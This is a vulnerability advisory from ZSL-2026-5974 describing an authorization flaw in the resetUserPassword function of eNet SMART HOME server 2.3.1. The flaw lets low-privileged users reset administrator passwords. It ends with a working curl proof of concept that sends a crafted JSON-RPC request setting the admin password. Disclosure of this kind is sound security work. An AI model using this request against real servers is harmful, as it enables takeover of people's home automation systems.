📄 eNet SMART HOME Server 2.3.1 Account Takeover

eNet SMART HOME server 2.3.1 (resetUserPassword) Account Takeover
    
    
    Vendor: Gira Giersiepen GmbH & Co. KG | ALBRECHT JUNG GmbH & Co. KG | Insta GmbH
    Product web page: https://www.enet-smarthome.com
    Affected version: 2.3.1 (46841)
                      2.2.1 (46056)
    
    Summary: Two German specialists in building systems technology are jointly bringing
    a new, wireless-based smart home system to the market. Gira and JUNG are the companies
    behind the eNet SMART HOME brand with our subsidiary, INSTA, responsible for developing
    the system. All three of us are old hands when it comes to building automation, and
    have a history of connecting buildings in an intelligent way that goes back as far as
    the 80s. Gira, JUNG and INSTA were part of the group of companies that initiated and
    founded EIBA (now known as KNX). KNX is the first open global standard for home and
    building automation. Through KNX, we have decisively shaped the development of intelligent
    building systems technology – and this wealth of experience has now come together in
    eNet SMART HOME. The eNet server is the heart of every eNet SMART HOME system and
    offers end customers the basis for an easy-to-use and secure Smart Home and installation
    engineers easily understandable and professional commissioning of the system.
    
    Desc: The eNet Smart Home system contains an authorization flaw in the resetUserPassword
    functionality that allows any authenticated low-privileged user (UG_USER) to reset the
    password of arbitrary accounts, including those in the UG_ADMIN and UG_SUPER_ADMIN groups,
    without supplying the current password or having sufficient privileges. By sending a crafted
    JSON-RPC request, an attacker can overwrite existing credentials. This is a a direct account
    takeover via improper authorization, resulting in full administrative access and persistent
    privilege escalation.
    
    Tested on: GNU/Linux 4.4.15 (ARMv7 revision 5)
               Jetty(9.2.z-SNAPSHOT)
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2026-5974
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5974.php
    
    
    07.02.2026
    
    --
    
    
    $ curl -X POST "http://TARGETIP:8080/jsonrpc/management" \
     -H "Content-Type: application/json" \
     -H "Referer: http://TARGETIP:8080/serverconfiguration.html?icp=99e5DE8sJ81b2yR3NAB0" \
     -H "Cookie: INSTASESSIONID=2txt9zmzo8ij3cfdyagulvb7s" \
     --data '{"jsonrpc":"2.0","method":"resetUserPassword","params":{"userName":"admin","defaultPassword":"12345678"},"id":"15"}'